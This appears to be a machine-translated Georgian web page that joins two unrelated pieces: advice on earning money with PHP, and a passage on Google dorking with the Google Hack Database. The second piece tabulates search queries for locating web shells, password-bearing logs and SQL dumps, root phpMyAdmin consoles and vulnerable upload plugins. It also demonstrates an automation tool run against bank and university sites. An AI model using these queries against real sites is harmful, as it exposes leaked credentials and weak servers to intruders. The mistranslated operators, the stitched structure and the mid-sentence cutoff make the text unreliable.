PHP-ის პოპულარობიდან გამომდინარე, მუდმივად დიდი მოთხოვნაა PHP პროგრამისტებზე. PHP-ის ცოდნა და ამ ენაზე დაპროგრამების უნარი გაგიხსნით ფულის შოვნის ახალ შესაძლებლობებს. მოდით გადავხედოთ ძირითადს, რომლითაც დღეს ნამდვილად შეგიძლიათ ფულის გამომუშავება:

ფულის გამომუშავება სკრიპტების შემუშავებით. ყველა საიტი მუდმივად ვითარდება და პერიოდულად საჭიროებს ახალი სკრიპტების დაწერას, ან დამატებითი ფუნქციების, მოდულების შემუშავებას და ა.შ. ასეთი განვითარებისთვის საიტების მფლობელები მიმართავენ PHP დეველოპერებს. უფრო მეტიც, ამ შემთხვევაში შეგიძლიათ ფულის გამომუშავება ორი გზით:

თვალყური ადევნეთ შეკვეთებს თავისუფალი დეველოპერის მოსაძებნად;

მასობრივი სკრიპტების იდეების გენერირება. გაქვთ იდეა სკრიპტზე, რომელიც აუცილებლად იქნება მოთხოვნადი, მაგალითად, ონლაინ მაღაზიების მფლობელებს შორის, შეგიძლიათ დამოუკიდებლად განავითაროთ ასეთი სკრიპტი და მიყიდოთ ონლაინ მაღაზიის მფლობელებს;

მზა სკრიპტების დასრულება "შეკვეთით". აქ ყველაფერი მარტივია - თქვენ იღებთ სკრიპტის მოდიფიკაციას ან კორექტირებას. მაგრამ ამ შემთხვევაში არის ნიუანსი - თავდაპირველად სცენარი შეიძლება არც ისე კარგად იყოს შესრულებული და მის დახვეწას უფრო მეტი დრო დასჭირდეს, ვიდრე სცენარის ნულიდან დაწერას. ამიტომ, თუ იყენებთ ფულის გამომუშავების ამ მეთოდს, თავდაპირველად ყურადღებით დააკვირდით, რას შეცვლით და დაასრულებთ.

პლაგინების შემუშავება CMS-ისთვის. ამ მეთოდით ყველაფერი იგივეა, რაც სკრიპტებიდან ფულის გამომუშავებისას. ხშირად, მზა CMS-ზე შექმნილი ვებსაიტები მოითხოვს რაიმე სახის მოდულის, დანამატის ან გაფართოების დაწერას. და აქ შეგიძლიათ ფულის გამომუშავება ორი გზით:

თვალყური ადევნეთ შეკვეთებს პლაგინების, დანამატების და გაფართოებების შემუშავების მიზნით დამოუკიდებელ საფუძველზე;

შეიმუშავეთ და გაყიდეთ მასიური დანამატი, რომელიც აუცილებლად იქნება მოთხოვნადი საიტების უმეტესობაში;

საკუთარი და ერთობლივი პროექტები. თუ თქვენ გაქვთ იდეა ინტერნეტპროექტზე (სტარტაპზე), მაგალითად, იდეა სასარგებლო სერვისის ან აპლიკაციის შესახებ, რომელიც გადაჭრის კონკრეტულ პრობლემას, მაშინ შეგიძლიათ დაიწყოთ მისი განხორციელება. საწყის ეტაპზე, ეს შეიძლება იყოს მხოლოდ როგორც ჰობი, გარდა თქვენი მთავარი საქმისა. შემდეგ, როცა გაირკვევა, რომ ჰობი დიდ პროექტში გადაიზარდა, შესაძლებელი გახდება მას მეტი დრო დაუთმოს.

მათთვის დინამიური ვებსაიტების და ძრავების შექმნა. თქვენ ასევე შეგიძლიათ კარგი ფულის გამომუშავება მორგებული ვებსაიტების შემუშავებით, ფრილანსერად ან ვებ სტუდიაში მუშაობით.

ვებსაიტების შექმნა თქვენთვის. შეგიძლიათ შექმნათ ვებ გვერდი თქვენთვის, შეავსოთ იგი სასარგებლო შინაარსით - და როდესაც საიტს საკმარისი რაოდენობის ვიზიტორი ჰყავს, დაიწყეთ ფულის გამომუშავება მასზე ფასიანი რეკლამის განთავსებით ან ვინმეს პროდუქციის პოპულარიზაციის გზით შვილობილი პროგრამების საშუალებით.

ვფიქრობ, ბევრ თქვენგანს უფიქრია, რომ ფულის გამომუშავების ყველა ზემოთ ჩამოთვლილი მეთოდი შეიძლება გაერთიანდეს. და მართალია! შეგიძლიათ შექმნათ ვებსაიტი თქვენთვის და პასიურად გამოიმუშავოთ ფული მისგან რეკლამის გაყიდვით, გარდა ამისა, შექმნათ სკრიპტი ან მოდული და გაყიდოთ იგი სპეციალიზებულ საიტებზე, გამოიმუშავოთ ფული ავტოპილოტზე ყოველი გაყიდვიდან და ამავდროულად შეგიძლიათ კვლავ იმუშაოთ ინტერნეტში. სტუდია. Რატომაც არა? Რა თქმა უნდა შეგიძლიათ!

რამდენის შოვნა შეუძლია PHP დეველოპერს?

PHP პროგრამისტების შემოსავლით, ყველაფერი ინდივიდუალურია. აქ ბევრი რამ არის დამოკიდებული იმაზე, თუ სად უნდა იმუშაოს, როგორ ვიმუშაო, რა დონის ცოდნა, რა გამოცდილება, კვალიფიკაცია, რა დაკავშირებული დამატებითი ცოდნა აქვს დეველოპერს და ა.შ. ამიტომ, პრინციპში, აქ ზუსტი ციფრი არ შეიძლება იყოს. მაგრამ ჩვენ შეგვიძლია შევხედოთ რა ხელფასს გვთავაზობენ ვებ სტუდიაში PHP პროგრამისტების ძიებისას და რამდენად მზად არიან გადაიხადონ პროექტში დამოუკიდებელ ბირჟებზე.

ქვემოთ მოყვანილი სურათი გვიჩვენებს შემოთავაზებულ ხელფასს PHP პროგრამისტებისთვის ვებ სტუდიაში. უფრო მეტიც, ეს არის ხელფასი PHP პროგრამისტებისთვის სამუშაო გამოცდილების გარეშე:

თუ თქვენ გაქვთ სამუშაო გამოცდილება, შეგიძლიათ მიიღოთ ბევრად მეტი. ქვემოთ მოცემულია ხელფასები, რომლებსაც სთავაზობენ გამოცდილ PHP პროგრამისტებს.

და დღეს თქვენ ასევე შეგიძლიათ მიიღოთ ღირსეული ფული ფრილანსერისგან:

დასკვნა

PHP არის ყველაზე პოპულარული პროგრამირების ენა ვებ დეველოპერებს შორის. ინტერნეტში არსებული ყველა ვებსაიტის დიდი უმრავლესობა დაწერილია PHP-ით. ამ პროგრამირების ენაში განვითარების ცოდნისა და უნარის გათვალისწინებით, შეგიძლიათ მიიღოთ კარგი ფული და ფულის გამომუშავების მრავალი ვარიანტი არსებობს - ვებ სტუდიაში მუშაობიდან საკუთარი პროექტის ან სტარტაპის შემუშავებამდე.

დაუცველობის ნებისმიერი ძებნა ვებ რესურსებზე იწყება დაზვერვით და ინფორმაციის შეგროვებით.
დაზვერვა შეიძლება იყოს აქტიური - საიტის ფაილების და დირექტორიების უხეში ძალა, დაუცველობის სკანერების გაშვება, საიტის ხელით დათვალიერება, ან პასიური - ინფორმაციის ძებნა სხვადასხვა საძიებო სისტემებში. ზოგჯერ ისეც ხდება, რომ დაუცველობა ცნობილი ხდება საიტის პირველი გვერდის გახსნამდეც.

Როგორ არის ეს შესაძლებელი?
საძიებო რობოტები, რომლებიც მუდმივად ტრიალებს ინტერნეტში, საშუალო მომხმარებლისთვის სასარგებლო ინფორმაციის გარდა, ხშირად აფიქსირებენ იმას, რაც შეიძლება გამოიყენონ თავდამსხმელებმა ვებ რესურსზე თავდასხმისთვის. მაგალითად, სკრიპტის შეცდომები და სენსიტიური ინფორმაციის შემცველი ფაილები (კონფიგურაციის ფაილებიდან და ჟურნალებიდან დაწყებული ავთენტიფიკაციის მონაცემებით და მონაცემთა ბაზის სარეზერვო ფაილებით დამთავრებული).
საძიებო რობოტის თვალსაზრისით, შეცდომის შეტყობინება sql მოთხოვნის შესრულების შესახებ არის მარტივი ტექსტი, განუყოფელი, მაგალითად, გვერდის პროდუქტების აღწერილობიდან. თუ მოულოდნელად საძიებო რობოტს წააწყდა ფაილი .sql გაფართოებით, რომელიც რაიმე მიზეზით აღმოჩნდა საიტის სამუშაო საქაღალდეში, მაშინ იგი აღიქმება როგორც საიტის შინაარსი და ასევე ინდექსირებული იქნება (მათ შორის, შესაძლოა, პაროლები მასში მითითებული).

ასეთი ინფორმაციის მოძიება შესაძლებელია ძლიერი, ხშირად უნიკალური, საკვანძო სიტყვების ცოდნით, რომლებიც ხელს უწყობენ „დაუცველი გვერდების“ განცალკევებას იმ გვერდებისგან, რომლებიც არ შეიცავს დაუცველობას.
სპეციალური მოთხოვნების უზარმაზარი მონაცემთა ბაზა საკვანძო სიტყვების გამოყენებით (ე.წ. dorks) არსებობს exploit-db.com-ზე და ცნობილია როგორც Google Hack Database.

რატომ გუგლი?
Dorks ძირითადად Google-ზეა ორი მიზეზის გამო:
− საკვანძო სიტყვების ყველაზე მოქნილი სინტაქსი (ნაჩვენებია ცხრილში 1) და სპეციალური სიმბოლოები (ნაჩვენებია ცხრილში 2);
− Google-ის ინდექსი ჯერ კიდევ უფრო სრულყოფილია, ვიდრე სხვა საძიებო სისტემების;

ცხრილი 1 - Google-ის მთავარი საკვანძო სიტყვები

საკვანძო სიტყვა
მნიშვნელობა
მაგალითი
საიტი
მოძებნეთ მხოლოდ მითითებულ საიტზე. ითვალისწინებს მხოლოდ url-ს
site:somesite.ru - იპოვის ყველა გვერდს მოცემულ დომენზე და ქვედომენზე
inurl
მოძებნეთ ურიში არსებული სიტყვებით. განსხვავებით კლ. სიტყვები "საიტი", ეძებს მატჩებს საიტის სახელის შემდეგ
inurl:news - პოულობს ყველა გვერდს, სადაც მოცემული სიტყვა ჩანს ურიში
ინტექსტი
ძიება გვერდის მთავარ ნაწილში
intext:"საცობები" - სრულიად მსგავსია ჩვეულებრივი მოთხოვნა "საცობებისთვის"
სათაური
მოძებნეთ გვერდის სათაურში. ტექსტი ტეგებს შორის <br></td> <td width="214">intitle:”index of” - იპოვის ყველა გვერდს დირექტორია ჩამონათვალით <br></td> </tr><tr><td width="214">გარე <br></td> <td width="214">მოძებნეთ გვერდები მითითებული გაფართოებით <br></td> <td width="214">ext:pdf - პოულობს ყველა pdf ფაილს <br></td> </tr><tr><td width="214">ფაილის ტიპი <br></td> <td width="214">ამჟამად, სრულიად მსგავსი კლასის. სიტყვა "შემდეგი" <br></td> <td width="214">ფაილის ტიპი:pdf - მსგავსი <br></td> </tr><tr><td width="214">დაკავშირებული <br></td> <td width="214">მოძებნეთ მსგავსი თემების საიტები <br></td> <td width="214">related:google.ru - აჩვენებს მის ანალოგებს <br></td> </tr><tr><td width="214">ბმული <br></td> <td width="214">მოძებნეთ საიტები, რომლებიც აკავშირებენ ამას <br></td> <td width="214">link:somesite.ru - იპოვის ყველა საიტს, რომელსაც აქვს ბმული ამის შესახებ <br></td> </tr><tr><td width="214">განსაზღვრა <br></td> <td width="214">აჩვენე სიტყვის განმარტება <br></td> <td width="214">define:0day - ტერმინის განმარტება <br></td> </tr><tr><td width="214">ქეში <br></td> <td width="214">გვერდის შიგთავსის ჩვენება ქეშში (თუ ეს არის) <br></td> <td width="214">cache:google.com - გახსნის ქეშირებულ გვერდს <br></td> </tr></tbody></table><p>ცხრილი 2 - სპეციალური სიმბოლოები Google-ის მოთხოვნებისთვის <br></p><table><tbody><tr><td width="214"><b>სიმბოლო</b><br></td> <td width="214"><b>მნიშვნელობა</b><br></td> <td width="214"><b>მაგალითი</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">ზუსტი ფრაზა <br></td> <td width="214">intitle:"RouterOS როუტერის კონფიგურაციის გვერდი" - მოძებნეთ მარშრუტიზატორები <br></td> </tr><tr><td width="214">*<br></td> <td width="214">ნებისმიერი ტექსტი <br></td> <td width="214">inurl: "bitrix*mcart" - მოძებნეთ საიტები bitrix-ზე დაუცველი mcart მოდულით <br></td> </tr><tr><td width="214">.<br></td> <td width="214">ნებისმიერი პერსონაჟი <br></td> <td width="214">Index.of - მოთხოვნის ინდექსის მსგავსი <br></td> </tr><tr><td width="214">-<br></td> <td width="214">წაშალე სიტყვა <br></td> <td width="214">შეცდომა -გაფრთხილება - აჩვენე ყველა გვერდი, რომელსაც აქვს შეცდომა, მაგრამ არა გაფრთხილება <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Დიაპაზონი <br></td> <td width="214">cve 2006..2016 - აჩვენე დაუცველობები წლის მიხედვით 2006 წლიდან დაწყებული <br></td> </tr><tr><td width="214">|<br></td> <td width="214">ლოგიკური "ან" <br></td> <td width="214">ლინუქსი | Windows - აჩვენეთ გვერდები, სადაც გამოჩნდება პირველი ან მეორე სიტყვა <br></td> </tr></tbody></table><br>უნდა გვესმოდეს, რომ ნებისმიერი მოთხოვნა საძიებო სისტემაში არის მხოლოდ სიტყვებით ძიება. <br>უსარგებლოა გვერდზე მეტა-სიმბოლოების ძებნა (ციტატები, ფრჩხილები, სასვენი ნიშნები და ა.შ.). ბრჭყალებში მითითებული ზუსტი ფრაზის ძიებაც კი არის სიტყვების ძიება, რასაც მოჰყვება შედეგების ზუსტი შესატყვისის ძიება. <p>ყველა Google Hack Database dorks ლოგიკურად იყოფა 14 კატეგორიად და წარმოდგენილია ცხრილში 3. <br>ცხრილი 3 – Google Hack მონაცემთა ბაზის კატეგორიები <br></p><table><tbody><tr><td width="168"><b>კატეგორია</b><br></td> <td width="190"><b>რა საშუალებას გაძლევთ იპოვოთ</b><br></td> <td width="284"><b>მაგალითი</b><br></td> </tr><tr><td width="168">საფეხურები <br></td> <td width="190">ვებ ჭურვები, საჯარო ფაილების მენეჯერები <br></td> <td width="284">იპოვეთ ყველა გატეხილი საიტი, სადაც ატვირთულია ჩამოთვლილი ვებ ჭურვები: <br>(intitle:"phpshell" OR intitle:"c99shell" OR intitle:"r57shell" OR intitle:"PHP Shell" ან სათაური:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">ფაილები, რომლებიც შეიცავს მომხმარებლის სახელებს <br></td> <td width="190">რეესტრის ფაილები, კონფიგურაციის ფაილები, ჟურნალები, ფაილები, რომლებიც შეიცავს შეყვანილი ბრძანებების ისტორიას <br></td> <td width="284">იპოვეთ ყველა რეესტრის ფაილი, რომელიც შეიცავს ანგარიშის ინფორმაციას: <br><i>ფაილის ტიპი:reg reg +intext:"ინტერნეტ ანგარიშის მენეჯერი"</i><br></td> </tr><tr><td width="168">მგრძნობიარე დირექტორიები <br></td> <td width="190">დირექტორიები სხვადასხვა ინფორმაციით (პერსონალური დოკუმენტები, vpn კონფიგურაციები, ფარული საცავი და ა.შ.) <br></td> <td width="284">იპოვეთ ყველა დირექტორია სია, რომელიც შეიცავს VPN-თან დაკავშირებულ ფაილებს: <br><i>"Config" სათაური: "Index of" intext:vpn</i><br>საიტები, რომლებიც შეიცავს git საცავებს: <br><i>(ინტექსტი:"/.git-ის ინდექსი") ("მშობლის დირექტორია")</i><br></td> </tr><tr><td width="168">ვებ სერვერის გამოვლენა <br></td> <td width="190">ვერსია და სხვა ინფორმაცია ვებ სერვერის შესახებ <br></td> <td width="284">იპოვეთ JBoss სერვერის ადმინისტრაციული კონსოლები: <br><i>inurl:"/web-console/" intitle:"ადმინისტრაციის კონსოლი"</i><br></td> </tr><tr><td width="168">დაუცველი ფაილები <br></td> <td width="190">სკრიპტები, რომლებიც შეიცავს ცნობილ დაუცველობას <br></td> <td width="284">იპოვეთ საიტები, რომლებიც იყენებენ სკრიპტს, რომელიც საშუალებას გაძლევთ ატვირთოთ თვითნებური ფაილი სერვერიდან: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">დაუცველი სერვერები <br></td> <td width="190">ინსტალაციის სკრიპტები, ვებ ჭურვები, ღია ადმინისტრაციული კონსოლები და ა.შ. <br></td> <td width="284">იპოვეთ ღია PHPMyAdmin კონსოლები, რომლებიც მუშაობენ root-ზე: <br><i>intitle:phpMyAdmin "მოგესალმებით phpMyAdmin ***" "გაშვებულია * როგორც root@*"</i><br></td> </tr><tr><td width="168">შეცდომის შეტყობინებები <br></td> <td width="190">სხვადასხვა შეცდომები და გაფრთხილებები ხშირად ავლენს მნიშვნელოვან ინფორმაციას - CMS ვერსიიდან პაროლებამდე <br></td> <td width="284">საიტები, რომლებსაც აქვთ შეცდომები მონაცემთა ბაზაში SQL მოთხოვნების შესრულებისას: <br><i>"გაფრთხილება: mysql_query()" "არასწორი მოთხოვნა"</i><br></td> </tr><tr><td width="168">წვნიანი ინფორმაციის შემცველი ფაილები <br></td> <td width="190">სერთიფიკატები, სარეზერვო ასლები, ელფოსტა, ჟურნალები, SQL სკრიპტები და ა.შ. <br></td> <td width="284">იპოვნეთ ინიციალიზაციის sql სკრიპტები: <br><i>ფაილის ტიპი:sql და „ჩასმა“ -site:github.com</i><br></td> </tr><tr><td width="168">პაროლების შემცველი ფაილები <br></td> <td width="190">ყველაფერი, რაც შეიძლება შეიცავდეს პაროლებს - ჟურნალები, sql სკრიპტები და ა.შ. <br></td> <td width="284">ჟურნალები, სადაც მითითებულია პაროლები: <br><i>ფაილის ტიპი:</i><i>ჟურნალი</i><i>intext:</i><i>პაროლი |</i><i>გაივლის |</i><i>pw</i><br>sql სკრიპტები, რომლებიც შეიცავს პაროლებს: <br><i>ext:</i><i>sql</i><i>intext:</i><i>მომხმარებლის სახელი</i><i>intext:</i><i>პაროლი</i><br></td> </tr><tr><td width="168">სენსიტიური ონლაინ შოპინგის ინფორმაცია <br></td> <td width="190">ონლაინ შესყიდვებთან დაკავშირებული ინფორმაცია <br></td> <td width="284">იპოვნეთ პინკოდები: <br><i>dcid=</i><i>bn=</i><i>ქინძისთავი</i><i>კოდი=</i><br></td> </tr><tr><td width="168">ქსელის ან დაუცველობის მონაცემები <br></td> <td width="190">ინფორმაცია პირდაპირ არ არის დაკავშირებული ვებ რესურსთან, მაგრამ გავლენას ახდენს ქსელზე ან სხვა არა-ვებ სერვისებზე <br></td> <td width="284">იპოვეთ ავტომატური პროქსი კონფიგურაციის სკრიპტები, რომლებიც შეიცავს ინფორმაციას შიდა ქსელის შესახებ: <br><i>inurl:პროქსი | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">შესვლის პორტალების შემცველი გვერდები <br></td> <td width="190">შესვლის ფორმების შემცველი გვერდები <br></td> <td width="284">საპლოგონის ვებ გვერდები: <br><i>intext:"2016 SAP AG. Ყველა უფლება დაცულია." intitle: "Logon"</i><br></td> </tr><tr><td width="168">სხვადასხვა ონლაინ მოწყობილობები <br></td> <td width="190">პრინტერები, მარშრუტიზატორები, მონიტორინგის სისტემები და ა.შ. <br></td> <td width="284">იპოვნეთ პრინტერის კონფიგურაციის პანელი: <br><i>სათაური:"</i><i>hp</i><i>ლაზერული ჯეტი"</i><i>inurl:</i><i>SSI/</i><i>ავტორიზაცია/</i><i>კომპლექტი_</i><i>კონფიგურაცია_</i><i>მოწყობილობის ინფორმაცია.</i><i>htm</i><br></td> </tr><tr><td width="168">რჩევები და დაუცველობა <br></td> <td width="190">ვებსაიტები დაუცველ CMS ვერსიებზე <br></td> <td width="284">იპოვნეთ დაუცველი დანამატები, რომელთა მეშვეობითაც შეგიძლიათ ატვირთოთ თვითნებური ფაილი სერვერზე: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks უფრო ხშირად ორიენტირებულია ძებნაზე ყველა ინტერნეტ საიტზე. მაგრამ არაფერი შეგიშლით ხელს შეზღუდოთ ძიების ფარგლები ნებისმიერ საიტზე ან საიტებზე. <br>Google-ის თითოეული მოთხოვნა შეიძლება ფოკუსირებული იყოს კონკრეტულ საიტზე საკვანძო სიტყვის „site:somesite.com“-ის დამატებით მოთხოვნაზე. ეს საკვანძო სიტყვა შეიძლება დაემატოს ნებისმიერ დორკს. <p><b>მოწყვლადობის ძიების ავტომატიზაცია</b><br>ასე გაჩნდა იდეა, დაეწერა მარტივი პროგრამა, რომელიც ავტომატიზირებს მოწყვლადობის ძიებას საძიებო სისტემის (google) გამოყენებით და ეყრდნობა Google Hack Database-ს.</p><p>პროგრამა არის სკრიპტი, რომელიც დაწერილია nodejs-ში ფანტომჯების გამოყენებით. უფრო ზუსტად რომ ვთქვათ, სცენარის ინტერპრეტაცია ხდება თავად phantomjs-ის მიერ. <br>Phantomjs არის სრულფასოვანი ვებ ბრაუზერი GUI-ს გარეშე, კონტროლდება js კოდით და მოსახერხებელი API-ით. <br>კომუნალურმა მიიღო საკმაოდ გასაგები სახელი - dorks. ბრძანების სტრიქონზე გაშვებით (ოფციების გარეშე), ჩვენ ვიღებთ მოკლე დახმარებას გამოყენების რამდენიმე მაგალითზე: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 1 - ძირითადი dorks პარამეტრების სია</p><p>პროგრამის ზოგადი სინტაქსია: dork "command" "option list". <br>ყველა ვარიანტის დეტალური აღწერა მოცემულია ცხრილში 4.</p><p>ცხრილი 4 - დორკსის სინტაქსი <br></p><table border="1"><tbody><tr><td width="214"><b>გუნდი</b><br></td> <td width="214"><b>ვარიანტი</b><br></td> <td width="214"><b>აღწერა</b><br></td> </tr><tr><td rowspan="4" width="214">ღდბ <br></td> <td width="214">-ლ <br></td> <td width="214">Google Hack Database-ის დანომრილი სიის ამობეჭდვა <br></td> </tr><tr><td width="214">-c "კატეგორიის ნომერი ან სახელი" <br></td> <td width="214">ჩატვირთეთ მითითებული კატეგორიის კარები ნომრის ან სახელის მიხედვით <br></td> </tr><tr><td width="214">-q "ფრაზა" <br></td> <td width="214">ჩამოტვირთეთ dorks ნაპოვნი მოთხოვნით <br></td> </tr><tr><td width="214">-o "ფაილი" <br></td> <td width="214">შეინახეთ შედეგი ფაილში (მხოლოდ -c|-q პარამეტრებით) <br></td> </tr><tr><td rowspan="8" width="214">გუგლი <br></td> <td width="214">-დ "დრკი" <br></td> <td width="214">დააყენეთ თვითნებური dork (ოფცია შეიძლება გამოყენებულ იქნას არაერთხელ, ნებადართულია კომბინაცია -D) <br></td> </tr><tr><td width="214">-D "ფაილი" <br></td> <td width="214">გამოიყენეთ dorks ფაილიდან <br></td> </tr><tr><td width="214">-ს "საიტი" <br></td> <td width="214">საიტის დაყენება (ვარიანტის გამოყენება შესაძლებელია მრავალჯერ, ნებადართულია კომბინაცია -S ოფციასთან) <br></td> </tr><tr><td width="214">-S "ფაილი" <br></td> <td width="214">გამოიყენეთ საიტები ფაილიდან (დორკები დამოუკიდებლად მოიძებნება თითოეული საიტისთვის) <br></td> </tr><tr><td width="214">-f "ფილტრი" <br></td> <td width="214">დააყენეთ დამატებითი საკვანძო სიტყვები (დაემატება თითოეულ დორკს) <br></td> </tr><tr><td width="214">-t "ms-ის რაოდენობა" <br></td> <td width="214">ინტერვალი Google-ის მოთხოვნებს შორის <br></td> </tr><tr><td width="214">-T "ms-ის რაოდენობა" <br></td> <td width="214">დრო ამოიწურა, თუ captcha შეგხვდებათ <br></td> </tr><tr><td width="214">-o "ფაილი" <br></td> <td width="214">შეინახეთ შედეგი ფაილში (მხოლოდ ის ჩანაწერები შეინახება, რომლებისთვისაც რაღაც იქნა ნაპოვნი) <br></td> </tr></tbody></table><br>ghdb ბრძანების გამოყენებით, თქვენ შეგიძლიათ მიიღოთ ყველა dorks exploit-db-დან თვითნებური მოთხოვნით, ან მიუთითოთ მთელი კატეგორია. თუ თქვენ მიუთითებთ კატეგორიას 0, მთელი მონაცემთა ბაზა განიტვირთება (დაახლოებით 4,5 ათასი დორკი). <p>ამჟამად ხელმისაწვდომი კატეგორიების სია წარმოდგენილია სურათზე 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>ნახაზი 2 - ხელმისაწვდომი GHDB დორკ კატეგორიების სია</p><p>გუგლის გუნდი ჩაანაცვლებს თითოეულ დორკს google-ის საძიებო სისტემაში და გააანალიზებს შედეგს მატჩებისთვის. ბილიკები, სადაც რაღაც იქნა ნაპოვნი, შეინახება ფაილში. <br>პროგრამა მხარს უჭერს ძიების სხვადასხვა რეჟიმს: <br>1 დორკი და 1 საიტი; <br>1 სათავსო და მრავალი საიტი; <br>1 საიტი და ბევრი დურქი; <br>ბევრი საიტი და ბევრი დურქი; <br>dorks და საიტები შეიძლება დაზუსტდეს ან არგუმენტის ან ფაილის მეშვეობით.</p><p><b>სამუშაოს დემონსტრირება</b><br>შევეცადოთ მოძებნოთ ნებისმიერი დაუცველობა შეცდომის შეტყობინებების ძიების მაგალითის გამოყენებით. ბრძანებით: dorks ghdb –c 7 –o errors.dorks „შეცდომის შეტყობინებების“ კატეგორიის ყველა ცნობილი dorks ჩაიტვირთება, როგორც ნაჩვენებია სურათზე 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>ნახაზი 3 – ჩატვირთვა ყველა ცნობილი დორკის „შეცდომის შეტყობინებების“ კატეგორიის</p><p>Dorks ჩამოიტვირთება და ინახება ფაილში. ახლა რჩება მხოლოდ მათი „დაყენება“ რომელიმე საიტზე (იხ. სურათი 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 4 – მოძებნეთ საინტერესო საიტის დაუცველობა Google-ის ქეშში</p><p>გარკვეული დროის შემდეგ შესწავლილ საიტზე აღმოჩენილია შეცდომების შემცველი რამდენიმე გვერდი (იხ. სურათი 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 5 - ნაპოვნია შეცდომის შეტყობინებები</p><p>შედეგად, result.txt ფაილში ვიღებთ dorks-ის სრულ ჩამონათვალს, რომლებიც იწვევს შეცდომას. <br>სურათი 6 გვიჩვენებს საიტის შეცდომების ძიების შედეგს. <br><br>სურათი 6 – შეცდომის ძიების შედეგი</p><p>ამ dork-ის ქეშში ნაჩვენებია სრული backtrace, რომელიც აჩვენებს სკრიპტების აბსოლუტურ ბილიკებს, საიტის კონტენტის მართვის სისტემას და მონაცემთა ბაზის ტიპს (იხ. სურათი 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 7 – ინფორმაციის გამჟღავნება საიტის დიზაინის შესახებ</p><p>თუმცა, გასათვალისწინებელია, რომ GHDB-ის ყველა დურქი არ იძლევა ნამდვილ შედეგებს. ასევე, Google-მა შეიძლება ვერ იპოვნოს ზუსტი შესატყვისი და აჩვენოს მსგავსი შედეგი.</p><p>ამ შემთხვევაში, უფრო გონივრული იქნება გამოიყენო შენი პერსონალური სია. მაგალითად, ყოველთვის ღირს ფაილების ძებნა „არაჩვეულებრივი“ გაფართოებით, რომელთა მაგალითები ნაჩვენებია 8-ში. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 8 – ფაილის გაფართოებების სია, რომლებიც არ არის ტიპიური ჩვეულებრივი ვებ რესურსისთვის</p><p>შედეგად, dorks google –D extensions.txt –f bank ბრძანებით, პირველივე მოთხოვნით Google იწყებს საიტების დაბრუნებას ფაილის „არაჩვეულებრივი“ გაფართოებით (იხ. სურათი 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 9 – მოძებნეთ „ცუდი“ ფაილის ტიპები საბანკო ვებსაიტებზე</p><p>უნდა გვახსოვდეს, რომ Google არ იღებს 32 სიტყვაზე მეტ შეკითხვებს.</p><p>გამოიყენეთ ბრძანება dorks google –d intext:"error|გაფრთხილება|შენიშვნა|სინტაქსი" -f უნივერსიტეტი <br>თქვენ შეგიძლიათ მოძებნოთ PHP თარჯიმანი შეცდომები სასწავლო ვებსაიტებზე (იხ. სურათი 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>ნახაზი 10 – PHP მუშაობის დროის შეცდომების პოვნა</p><p>ზოგჯერ არ არის მოსახერხებელი ერთი ან ორი კატეგორიის დორკების გამოყენება. <br>მაგალითად, თუ ცნობილია, რომ საიტი მუშაობს Wordpress-ის ძრავზე, მაშინ ჩვენ გვჭირდება WordPress-ის სპეციფიკური მოდულები. ამ შემთხვევაში, მოსახერხებელია გამოიყენოს Google Hack Database ძიება. ბრძანება dorks ghdb –q wordpress –o wordpress_dorks.txt ჩამოტვირთავს ყველა dorks-ს Wordpress-იდან, როგორც ნაჩვენებია სურათზე 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 11 – Wordpress-თან დაკავშირებული დორკების ძიება</p><p>მოდით კვლავ დავუბრუნდეთ ბანკებს და გამოვიყენოთ ბრძანება dorks google –D wordpress_dords.txt –f bank, რათა ვცადოთ ვიპოვოთ რაიმე საინტერესო Wordpress-თან დაკავშირებული (იხ. სურათი 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 12 – მოძებნეთ Wordpress-ის დაუცველობა</p><p>აღსანიშნავია, რომ Google Hack Database-ში ძიება არ იღებს 4 სიმბოლოზე მოკლე სიტყვებს. მაგალითად, თუ საიტის CMS არ არის ცნობილი, მაგრამ ენა ცნობილია - PHP. ამ შემთხვევაში, თქვენ შეგიძლიათ გაფილტროთ ის, რაც გჭირდებათ ხელით მილის და სისტემის საძიებო პროგრამის გამოყენებით dorks –c all | findstr /I php > php_dorks.txt (იხ. სურათი 13): 